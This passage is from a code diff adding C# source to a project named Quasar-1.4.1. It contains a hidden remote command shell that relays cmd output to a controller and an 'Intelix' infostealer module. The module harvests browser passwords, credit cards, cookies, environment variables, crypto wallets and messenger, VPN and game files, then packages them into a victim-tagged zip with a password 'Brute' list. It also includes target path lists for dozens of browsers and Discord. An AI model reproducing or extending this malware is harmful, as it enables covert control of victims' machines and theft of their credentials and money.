catch + { + return -1; + } + } + + private static string GetGpuName() + { + try + { + string gpuName = string.Empty; + string query = "SELECT * FROM Win32_DisplayConfiguration"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + gpuName += mObject["Description"].ToString() + "; "; + } + } + gpuName = StringHelper.RemoveLastChars(gpuName); + + return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + private static string GetLanIpAddress() + { + // TODO: support multiple network interfaces + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault(); + if (gatewayAddress != null) //exclude virtual physical nic with no default gateway + { + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) + { + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; + + return ip.Address.ToString(); + } + } + } + } + + return "-"; + } + + private static string GetMacAddress() + { + foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces()) + { + if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || + ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet && + ni.OperationalStatus == OperationalStatus.Up) + { + bool foundCorrect = false; + foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses) + { + if (ip.Address.AddressFamily != AddressFamily.InterNetwork || + ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses + continue; + + foundCorrect = (ip.Address.ToString() == GetLanIpAddress()); + } + + if (foundCorrect) + return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString()); + } + } + + return "-"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IO/Shell.cs b/Quasar-1.4.1/Quasar.Client/IO/Shell.cs new file mode 100755 index 0000000..9b67a9d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IO/Shell.cs @@ -0,0 +1,332 @@ +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using System; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Threading; + +namespace Quasar.Client.IO +{ + /// + /// This class manages a remote shell session. + /// + public class Shell : IDisposable + { + /// + /// The process of the command-line (cmd). + /// + private Process _prc; + + /// + /// Decides if we should still read from the output. + /// + /// Detects unexpected closing of the shell. + /// + /// + private bool _read; + + /// + /// The lock object for the read variable. + /// + private readonly object _readLock = new object(); + + /// + /// The lock object for the StreamReader. + /// + private readonly object _readStreamLock = new object(); + + /// + /// The current console encoding. + /// + private Encoding _encoding; + + /// + /// Redirects commands to the standard input stream of the console with the correct encoding. + /// + private StreamWriter _inputWriter; + + /// + /// The client to sends responses to. + /// + private readonly QuasarClient _client; + + /// + /// Initializes a new instance of the class using a given client. + /// + /// The client to send shell responses to. + public Shell(QuasarClient client) + { + _client = client; + } + + /// + /// Creates a new session of the shell. + /// + private void CreateSession() + { + lock (_readLock) + { + _read = true; + } + + var cultureInfo = CultureInfo.InstalledUICulture; + _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); + + _prc = new Process + { + StartInfo = new ProcessStartInfo("cmd") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardInput = true, + RedirectStandardOutput = true, + RedirectStandardError = true, + StandardOutputEncoding = _encoding, + StandardErrorEncoding = _encoding, + WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), + Arguments = $"/K CHCP {_encoding.CodePage}" + } + }; + _prc.Start(); + + RedirectIO(); + + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> New Session created\n" + }); + } + + /// + /// Starts the redirection of input and output. + /// + private void RedirectIO() + { + _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); + new Thread(RedirectStandardOutput).Start(); + new Thread(RedirectStandardError).Start(); + } + + /// + /// Reads the output from the stream. + /// + /// The first read char. + /// The StreamReader to read from. + /// True if reading from the error-stream, else False. + private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) + { + lock (_readStreamLock) + { + var streamBuffer = new StringBuilder(); + + streamBuffer.Append((char)firstCharRead); + + // While there are more characters to be read + while (streamReader.Peek() > -1) + { + // Read the character in the queue + var ch = streamReader.Read(); + + // Accumulate the characters read in the stream buffer + streamBuffer.Append((char)ch); + + if (ch == '\n') + SendAndFlushBuffer(ref streamBuffer, isError); + } + // Flush any remaining text in the buffer + SendAndFlushBuffer(ref streamBuffer, isError); + } + } + + /// + /// Sends the read output to the Client. + /// + /// Contains the contents of the output. + /// True if reading from the error-stream, else False. + private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) + { + if (textBuffer.Length == 0) return; + + var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); + + if (string.IsNullOrEmpty(toSend)) return; + + _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); + + textBuffer.Clear(); + } + + /// + /// Reads from the standard output-stream. + /// + private void RedirectStandardOutput() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) + { + ReadStream(ch, _prc.StandardOutput, false); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Reads from the standard error-stream. + /// + private void RedirectStandardError() + { + try + { + int ch; + + // The Read() method will block until something is available + while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) + { + ReadStream(ch, _prc.StandardError, true); + } + + lock (_readLock) + { + if (_read) + { + _read = false; + throw new ApplicationException("session unexpectedly closed"); + } + } + } + catch (ObjectDisposedException) + { + // just exit + } + catch (Exception ex) + { + if (ex is ApplicationException || ex is InvalidOperationException) + { + _client.Send(new DoShellExecuteResponse + { + Output = "\n>> Session unexpectedly closed\n", + IsError = true + }); + + CreateSession(); + } + } + } + + /// + /// Executes a shell command. + /// + /// The command to execute. + /// False if execution failed, else True. + public bool ExecuteCommand(string command) + { + if (_prc == null || _prc.HasExited) + { + try + { + CreateSession(); + } + catch (Exception ex) + { + _client.Send(new DoShellExecuteResponse + { + Output = $"\n>> Failed to creation shell session: {ex.Message}\n", + IsError = true + }); + return false; + } + } + + _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); + _inputWriter.Flush(); + + return true; + } + + /// + /// Converts the encoding of an input string to UTF-8 format. + /// + /// The source encoding of the input string. + /// The input string. + /// The input string in UTF-8 format. + private string ConvertEncoding(Encoding sourceEncoding, string input) + { + var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); + return Encoding.UTF8.GetString(utf8Text); + } + + /// + /// Releases all resources used by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_readLock) + { + _read = false; + } + + if (_prc == null) + return; + + if (!_prc.HasExited) + { + try + { + _prc.Kill(); + } + catch + { + } + } + + if (_inputWriter != null) + { + _inputWriter.Close(); + _inputWriter = null; + } + + _prc.Dispose(); + _prc = null; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs new file mode 100755 index 0000000..aee8579 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs @@ -0,0 +1,29 @@ +using System; +using System.Text; + +namespace Intelix.Helper.Data; + +public class ArchiveStructure +{ + private readonly string _rootFolderName; + + public string RootFolderName => _rootFolderName; + + public ArchiveStructure(string countryCode, string ipAddress, string hwid) + { + DateTime now = DateTime.Now; + string date = now.ToString("yyyy-M-d"); + string time = now.ToString("H_m_s"); + _rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}"; + } + + public string GetPath(string relativePath) + { + if (string.IsNullOrEmpty(relativePath)) + { + return _rootFolderName; + } + return $"{_rootFolderName}/{relativePath}"; + } +} + diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs new file mode 100755 index 0000000..6578527 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs @@ -0,0 +1,382 @@ +using System; +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; + +namespace Intelix.Helper.Data; + +public class ConsolidatedFilesGenerator +{ + public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid) + { + GeneratePasswordsFile(zip); + GenerateCreditCardsFile(zip); + GenerateUserInformationFile(zip, publicIp, countryCode, hwid); + GenerateEnvironmentFile(zip); + GenerateBruteFile(zip); + GenerateDomainDetectsFile(zip); + GenerateInstalledSoftwareFile(zip); + } + + private static void GeneratePasswordsFile(InMemoryZip zip) + { + List allPasswords = new List(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None); + + string fileName = Path.GetFileName(entry.Key); + bool hasData = false; + + for (int i = 0; i < lines.Length; i++) + { + string line = lines[i]; + if (line.StartsWith("URL:") || line.StartsWith("Hostname:")) + { + allPasswords.Add(line); + hasData = true; + } + else if (line.StartsWith("Username:") || line.StartsWith("Password:")) + { + allPasswords.Add(line); + } + else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1])) + { + allPasswords.Add("Application: Browser/Logins/" + fileName); + allPasswords.Add("==============="); + hasData = false; + } + } + + if (hasData) + { + allPasswords.Add("Application: Browser/Logins/" + fileName); + allPasswords.Add("==============="); + } + } + catch + { + } + } + } + + if (allPasswords.Count > 0) + { + zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords)); + } + } + + private static void GenerateCreditCardsFile(InMemoryZip zip) + { + ConcurrentBag allCreditCards = new ConcurrentBag(); + + foreach (var entry in zip.GetAllEntries()) + { + if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + if (!string.IsNullOrWhiteSpace(content)) + { + allCreditCards.Add(content); + } + } + catch + { + } + } + } + + if (allCreditCards.Count > 0) + { + zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards)); + } + } + + private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid) + { + StringBuilder sb = new StringBuilder(); + DateTime now = DateTime.Now; + + sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK"); + sb.AppendLine("Traffic: src"); + sb.AppendLine($"HWID: {hwid}"); + sb.AppendLine($"Country: {countryCode}"); + sb.AppendLine($"IP: {publicIp}"); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Information.txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None); + + foreach (string line in lines) + { + if (line.Contains("System Language:") || line.Contains("Processor:") || + line.Contains("Installed RAM:") || line.Contains("OS Product:") || + line.Contains("OS Build:") || line.Contains("OS Arch:") || + line.Contains("CPU Name:") || line.Contains("Logical Cores:") || + line.Contains("RAM Total:") || line.Contains("RAM Available:") || + line.Contains("GPU:") || line.Contains("Computer Name:") || + line.Contains("Domain Name:") || line.Contains("MachineID:") || + line.Contains("Product Key:") || line.Contains("User:") || + line.Contains("Machine:") || line.Contains("Now:") || + line.Contains("Input ISO:") || line.Contains("Hwid:") || + line.Contains("Clipboard:") || line.Contains("External IP:") || + line.Contains("Internal IP:") || line.Contains("Default Gateway:") || + line.Contains("User Domain:") || line.Contains("CLR Version:")) + { + string processedLine = line; + if (line.Contains("OS Product:")) + { + processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim(); + } + else if (line.Contains("OS Build:")) + { + processedLine = "Operation System: " + processedLine; + } + else if (line.Contains("CPU Name:")) + { + processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim(); + } + else if (line.Contains("Installed RAM:")) + { + processedLine = line.Replace("RAM Total (MB):", "Installed RAM:"); + } + else if (line.Contains("User:")) + { + processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim(); + } + else if (line.Contains("Machine:")) + { + processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim(); + } + else if (line.Contains("External IP:")) + { + continue; + } + + sb.AppendLine(processedLine); + } + } + } + catch + { + } + break; + } + } + + sb.AppendLine("-------------"); + + zip.AddTextFile("UserInformation.txt", sb.ToString()); + } + + private static void GenerateEnvironmentFile(InMemoryZip zip) + { + StringBuilder sb = new StringBuilder(); + + foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables()) + { + sb.AppendLine($"{entry.Key}={entry.Value}"); + } + + zip.AddTextFile("Environment.txt", sb.ToString()); + } + + private static void GenerateBruteFile(InMemoryZip zip) + { + ConcurrentBag passwords = new ConcurrentBag(); + HashSet uniquePasswords = new HashSet(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline); + + foreach (Match match in matches) + { + string password = match.Groups[1].Value.Trim(); + if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password)) + { + passwords.Add(password); + } + } + } + catch + { + } + } + } + + if (passwords.Count > 0) + { + zip.AddTextFile("Brute.txt", string.Join("\n", passwords)); + } + } + + private static void GenerateDomainDetectsFile(InMemoryZip zip) + { + Dictionary loginDomains = new Dictionary(); + Dictionary cookieDomains = new Dictionary(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase); + + foreach (Match match in matches) + { + string domain = match.Groups[1].Value.Trim().ToLower(); + if (!string.IsNullOrEmpty(domain)) + { + if (!loginDomains.ContainsKey(domain)) + { + loginDomains[domain] = 0; + } + loginDomains[domain]++; + } + } + } + catch + { + } + } + else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase); + + foreach (Match match in matches) + { + string domain = match.Groups[1].Value.Trim().ToLower(); + if (!string.IsNullOrEmpty(domain)) + { + if (!cookieDomains.ContainsKey(domain)) + { + cookieDomains[domain] = 0; + } + cookieDomains[domain]++; + } + } + } + catch + { + } + } + } + + StringBuilder sb = new StringBuilder(); + if (loginDomains.Count > 0) + { + sb.AppendLine("LoginData:"); + int index = 1; + foreach (var domain in loginDomains.OrderByDescending(d => d.Value)) + { + sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})"); + index++; + } + } + + if (cookieDomains.Count > 0) + { + sb.AppendLine("Cookies:"); + int index = 1; + foreach (var domain in cookieDomains.OrderByDescending(d => d.Value)) + { + sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})"); + index++; + } + } + + if (sb.Length > 0) + { + zip.AddTextFile("DomainDetects.txt", sb.ToString()); + } + } + + private static string GetDomainName(string domain) + { + string[] parts = domain.Split('.'); + if (parts.Length >= 2) + { + return parts[parts.Length - 2]; + } + return domain; + } + + private static void GenerateInstalledSoftwareFile(InMemoryZip zip) + { + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("InstalledSoftware.txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + + List formattedLines = new List(); + int index = 1; + + foreach (string line in lines) + { + if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---")) + { + string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None); + if (parts.Length >= 3) + { + string name = parts[0].Trim(); + string path = parts[1].Trim(); + string version = parts[2].Trim(); + + string publisher = "Unknown"; + if (parts.Length > 3) + { + publisher = parts[3].Trim(); + } + + formattedLines.Add($"{index}) {name} [{version}] - {publisher}"); + index++; + } + } + } + + if (formattedLines.Count > 0) + { + zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines)); + } + } + catch + { + } + break; + } + } + } +} + diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs new file mode 100755 index 0000000..c0fd5ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs @@ -0,0 +1,194 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Intelix.Helper.Encrypted; + +namespace Intelix.Helper.Data; + +public class Counter +{ + public class CounterBrowser + { + public string Profile; + + public string BrowserName; + + public ConcurrentLong Cookies; + + public ConcurrentLong Password; + + public ConcurrentLong CreditCards; + + public ConcurrentLong AutoFill; + + public ConcurrentLong RestoreToken; + + public ConcurrentLong MaskCreditCard; + + public ConcurrentLong MaskedIban; + } + + public class CounterApplications + { + public string Name; + + public ConcurrentBag Files = new ConcurrentBag(); + } + + public ConcurrentBag FilesGrabber = new ConcurrentBag(); + + public ConcurrentBag CryptoDesktop = new ConcurrentBag(); + + public ConcurrentBag CryptoChromium = new ConcurrentBag(); + + public ConcurrentBag Browsers = new ConcurrentBag(); + + public ConcurrentBag Applications = new ConcurrentBag(); + + public ConcurrentBag Vpns = new ConcurrentBag(); + + public ConcurrentBag Games = new ConcurrentBag(); + + public ConcurrentBag Messangers = new ConcurrentBag(); + + public void Collect(InMemoryZip zip) + { + List list = new List(); + list.Add("\r\n \r\n __ __ _ \r\n \\ \\/ /___ _ __ (_)_ _ _ __ ___ \r\n \\ // _ \\| '__|| | | | | '_ ` _ \\ \r\n / \\ (_) | | | | |_| | | | | | |\r\n /_/\\_\\___/|_| |_|\\__,_|_| |_| |_|\r\n "); + list.Add(" Developer @aesxor"); + list.Add(""); + List masterKeys = LocalState.GetMasterKeys(); + if (masterKeys.Count() > 0) + { + list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct()))); + foreach (string[] item in masterKeys) + { + list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]); + } + list.Add(""); + } + if (Browsers.Count() > 0) + { + list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray()))); + foreach (CounterBrowser browser in Browsers) + { + list.Add(" - " + browser.Profile); + if ((long)browser.Cookies != 0L) + { + list.Add($" [Cookies {(long)browser.Cookies}]"); + } + if ((long)browser.Password != 0L) + { + list.Add($" [Passwords {(long)browser.Password}]"); + } + if ((long)browser.CreditCards != 0L) + { + list.Add($" [CreditCards {(long)browser.CreditCards}]"); + } + if ((long)browser.AutoFill != 0L) + { + list.Add($" [AutoFill {(long)browser.AutoFill}]"); + } + if ((long)browser.RestoreToken != 0L) + { + list.Add($" [RestoreToken {(long)browser.RestoreToken}]"); + } + if ((long)browser.MaskCreditCard != 0L) + { + list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]"); + } + if ((long)browser.MaskedIban != 0L) + { + list.Add($" [MaskedIban {(long)browser.MaskedIban}]"); + } + list.Add(""); + } + list.Add(""); + } + if (Applications.Count() > 0) + { + list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications application in Applications) + { + list.Add(" [Name " + application.Name + "]"); + foreach (string item2 in application.Files.Reverse()) + { + list.Add(" - " + item2); + } + list.Add(""); + } + list.Add(""); + } + if (Games.Count() > 0) + { + list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications game in Games) + { + list.Add(" [Name " + game.Name + "]"); + foreach (string item3 in game.Files.Reverse()) + { + list.Add(" - " + item3); + } + list.Add(""); + } + list.Add(""); + } + if (Messangers.Count() > 0) + { + list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications messanger in Messangers) + { + list.Add(" [Name " + messanger.Name + "]"); + foreach (string item4 in messanger.Files.Reverse()) + { + list.Add(" - " + item4); + } + list.Add(""); + } + list.Add(""); + } + if (Vpns.Count() > 0) + { + list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications vpn in Vpns) + { + list.Add(" [Name " + vpn.Name + "]"); + foreach (string item5 in vpn.Files.Reverse()) + { + list.Add(" - " + item5); + } + list.Add(""); + } + list.Add(""); + } + if (CryptoChromium.Count() > 0) + { + list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]"); + foreach (string item6 in CryptoChromium) + { + list.Add(" - " + item6); + } + list.Add(""); + } + if (CryptoDesktop.Count() > 0) + { + list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]"); + foreach (string item7 in CryptoDesktop) + { + list.Add(" - " + item7); + } + list.Add(""); + } + if (FilesGrabber.Count() > 0) + { + list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]"); + foreach (string item8 in FilesGrabber) + { + list.Add(" - " + item8); + } + list.Add(""); + } + zip.AddTextFile("IntelIX.txt", string.Join("\n", list)); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs new file mode 100755 index 0000000..ca5b611 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Text; + +namespace Intelix.Helper.Data; + +public sealed class InMemoryZip : IDisposable +{ + private readonly ConcurrentDictionary _entries = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + + private readonly object _buildLock = new object(); + + private bool _disposed; + private string _rootFolderPrefix = string.Empty; + + public int Count => _entries.Count; + + public void SetRootFolderPrefix(string prefix) + { + if (string.IsNullOrEmpty(prefix)) + { + _rootFolderPrefix = string.Empty; + } + else + { + _rootFolderPrefix = NormalizeEntryName(prefix) + "/"; + } + } + + private static string NormalizeEntryName(string name) + { + if (string.IsNullOrWhiteSpace(name)) + { + throw new ArgumentException("Entry name is null or empty", "name"); + } + name = name.Replace('\\', '/').Trim('/'); + if (name.Length != 0) + { + return name; + } + throw new ArgumentException("Invalid entry name", "name"); + } + + private string ApplyRootPrefix(string entryPath) + { + if (string.IsNullOrEmpty(_rootFolderPrefix)) + { + return entryPath; + } + string normalized = NormalizeEntryName(entryPath); + if (normalized.StartsWith(_rootFolderPrefix, StringComparison.OrdinalIgnoreCase)) + { + return normalized; + } + return _rootFolderPrefix + normalized; + } + + public void AddFile(string entryPath, byte[] content) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + if (content != null && content.Length != 0) + { + string key = ApplyRootPrefix(entryPath); + byte[] copy = new byte[content.Length]; + Buffer.BlockCopy(content, 0, copy, 0, content.Length); + _entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy); + } + } + + public void AddTextFile(string entryPath, string text) + { + if (!string.IsNullOrEmpty(text)) + { + AddFile(entryPath, Encoding.UTF8.GetBytes(text)); + } + } + + public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + if (string.IsNullOrEmpty(sourceDirectory)) + { + throw new ArgumentException("sourceDirectory"); + } + if (!Directory.Exists(sourceDirectory)) + { + return; + } + SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly); + string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption); + foreach (string text in files) + { + string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2)); + text3 = text3.Replace('\\', '/'); + try + { + byte[] content = File.ReadAllBytes(text); + AddFile(text3, content); + } + catch + { + } + } + } + + public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + lock (_buildLock) + { + using MemoryStream memoryStream = new MemoryStream(); + using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8)) + { + foreach (KeyValuePair entry in _entries) + { + using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open(); + byte[] value = entry.Value; + stream.Write(value, 0, value.Length); + } + } + return memoryStream.ToArray(); + } + } + + public IEnumerable> GetAllEntries() + { + return _entries; + } + + public void Clear() + { + _entries.Clear(); + } + + public void Dispose() + { + if (!_disposed) + { + _disposed = true; + _entries.Clear(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs new file mode 100755 index 0000000..14ddbcd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs @@ -0,0 +1,121 @@ +using System; +using System.IO; + +namespace Intelix.Helper.Data; + +public static class Paths +{ + public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + + public static string[] Discord = new string[4] + { + appdata + "\\discord", + appdata + "\\discordcanary", + appdata + "\\Lightcord", + appdata + "\\discordptb" + }; + + public static string[] Chromium = new string[66] + { + appdata + "\\Lulumi-browser", + appdata + "\\kingpinbrowser", + appdata + "\\Falkon\\Profiles", + appdata + "\\Hola\\chromium_profile", + appdata + "\\Opera Software\\Opera Stable", + appdata + "\\Opera Software\\Opera GX Stable", + localappdata + "\\Battle.net", + localappdata + "\\GhostBrowser", + localappdata + "\\ColibriBrowser", + localappdata + "\\Min\\User Data", + localappdata + "\\Coowon\\Coowon", + localappdata + "\\Uran\\User Data", + localappdata + "\\Kinza\\User Data", + localappdata + "\\Blisk\\User Data", + localappdata + "\\Xvast\\User Data", + localappdata + "\\Torch\\User Data", + localappdata + "\\CryptoTab Browser", + localappdata + "\\Comodo\\User Data", + localappdata + "\\Kometa\\User Data", + localappdata + "\\liebao\\User Data", + localappdata + "\\Chedot\\User Data", + localappdata + "\\K-Melon\\User Data", + localappdata + "\\Orbitum\\User Data", + localappdata + "\\Vivaldi\\User Data", + localappdata + "\\Slimjet\\User Data", + localappdata + "\\Iridium\\User Data", + localappdata + "\\Maxthon\\User Data", + localappdata + "\\Maxthon3\\User Data", + localappdata + "\\Nichrome\\User Data", + localappdata + "\\Chromodo\\User Data", + localappdata + "\\QIP Surf\\User Data", + localappdata + "\\Chromium\\User Data", + localappdata + "\\BitTorrent\\Maelstrom", + localappdata + "\\Globus VPN\\User Data", + localappdata + "\\CentBrowser\\User Data", + localappdata + "\\Amigo\\User\\User Data", + localappdata + "\\MapleStudio\\ChromePlus", + localappdata + "\\7Star\\7Star\\User Data", + localappdata + "\\Mail.Ru\\Atom\\User Data", + localappdata + "\\Comodo\\Dragon\\User Data", + localappdata + "\\UCBrowser\\User Data_i18n", + localappdata + "\\Google\\Chrome\\User Data", + localappdata + "\\Coowon\\Coowon\\User Data", + localappdata + "\\CocCoc\\Browser\\User Data", + localappdata + "\\AOL\\AOL Shield\\User Data", + localappdata + "\\Microsoft\\Edge\\User Data", + localappdata + "\\uCozMedia\\Uran\\User Data", + localappdata + "\\Element Browser\\User Data", + localappdata + "\\Sputnik\\Sputnik\\User Data", + localappdata + "\\Elements Browser\\User Data", + localappdata + "\\CCleaner Browser\\User Data", 